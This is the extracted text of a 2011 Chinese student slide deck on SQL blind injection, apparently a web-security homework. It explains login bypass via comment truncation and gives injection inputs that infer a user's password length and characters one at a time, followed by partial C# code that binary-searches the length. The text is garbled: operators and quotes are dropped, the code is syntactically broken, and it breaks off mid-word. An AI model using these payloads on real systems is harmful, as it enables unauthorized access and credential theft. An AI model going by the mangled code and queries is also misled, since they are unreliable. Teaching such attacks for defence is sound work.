1,SQL Blind Injection,小組成員：李昌華、肖箭、覃歡 2011-11-04,2,目錄,3,目錄,當一個攻擊者通過在查詢語句中插入一系列的SQL語句來將數據寫入到應用程序中,從一個數據庫獲得未經授權的訪問和直接檢索.通過構造一些畸形的輸入，攻擊者能夠操作這種請求語句去獲取預先未知的結果。,一、SQL Blind Injection,基本的句法的過程即通過標準的SELECT WHERE語句，被注入的參數（即注入點）就是WHERE語句的一部分。為了確定正確的注入句法，攻擊者必須能夠在最初的WHERE語句后添加其他數據，使其能返回非預期的結果。對一些簡單的應用程序，僅僅加上OR 1=1就可以完成，但在大多數情況下如果想構造出成功的利用代碼，這樣做當然是不夠的。經常需要解決的問題是如何配對插入語符號（parenthesis，比如成對的括號），使之能與前面的已使用的符號，比如左括號匹配。 對于一些注入利用，僅僅改變WHERE語句就足夠了，但對于其他情況，比如UNION SELECT注入或存儲過程（stored procedures）注入，還需要能先順利地結束整個SQL請求語句，然后才能添加其他攻擊者所需要的SQL語句。在這種情況下，攻擊者可以選擇使用SQL注釋符號來結束語句，該符號是兩個連續的破折號（-），它要求SQL Server忽略其后同一行的所有輸入。例如，一個登錄頁面需要訪問者輸入用戶名和密碼，并將其提交給SQL請求語句： SELECT Username, UserID, Password FROM Users WHERE Username = user AND Password = pass 通過輸入john-作為用戶名，將會構造出以下WHERE語句： WHERE Username = john -AND Password = pass 這時，該語句不但符合SQL語法，而且還使用戶跳過了密碼認證,二、常見的攻擊方法,確定注入點,構造正確的 注入語句,獲得預期結果,三、攻擊步驟,定位漏洞,非授權訪問,實施攻擊,四、程序,原始查詢語句（網頁的源文件） string sqlSel = “select count(*) from tb_userInfo where userName=“ + txtUserName.Text + “ and userPass=“+pass+“; 1.猜測賬戶名： 輸入任意賬戶測試 如200808 密碼非空隨便輸 驗證碼,2.猜測到手的賬戶對應的密碼長度： 200808 and exists(select userName from tb_userInfo where len(userPass)6 and userName=200808)- 密碼非空隨便輸 驗證碼,3.猜測到手的賬戶對應的密碼（逐位的判斷） 200808 and (select ASCII(SUBSTRING(userPass,1,1) from tb_userInfo where userName=200808) 97 -,四、步驟和SQL語句,二分法可以使得測試長度的結果收斂的更快,二分查找的代碼,快速猜測 程序,protect int getPasswordLen(int MaxPassLen,int MinPasstLen) /創建數據庫連接 SqlConnection con = new SqlConnection(“server=.;database=WebSecurityHomeWork;uid=sa;pwd=123;“); /打開數據庫連接 con.Open(); string basesql=“200808 and exists(select userName from tb_userInfo where len(userPass)“; string endsql=“ and userName=200808)-“; while() int currentLen=(MaxPassLen+MinPassLen)/2; string sqlSel=basesql+“=“+currentLen.toString()+endsql; /創建SqlCommand對象 SqlCommand com = new SqlCommand(sqlSel, con); if(Convert.ToInt32(com.ExecuteScalar() 0) return currentLen; /創建SqlCommand對象 SqlCommand com1 = new SqlCommand(sqlSel, con); sqlSel=basesql+“+currentLen.toString()+endsql; if(Convert.ToInt32(com.ExecuteScalar() 0) MinPasstLen=(currentLen+1+MaxPassLen)/2; getPasswordLen(int MaxPassLen,int MinPasstLen); el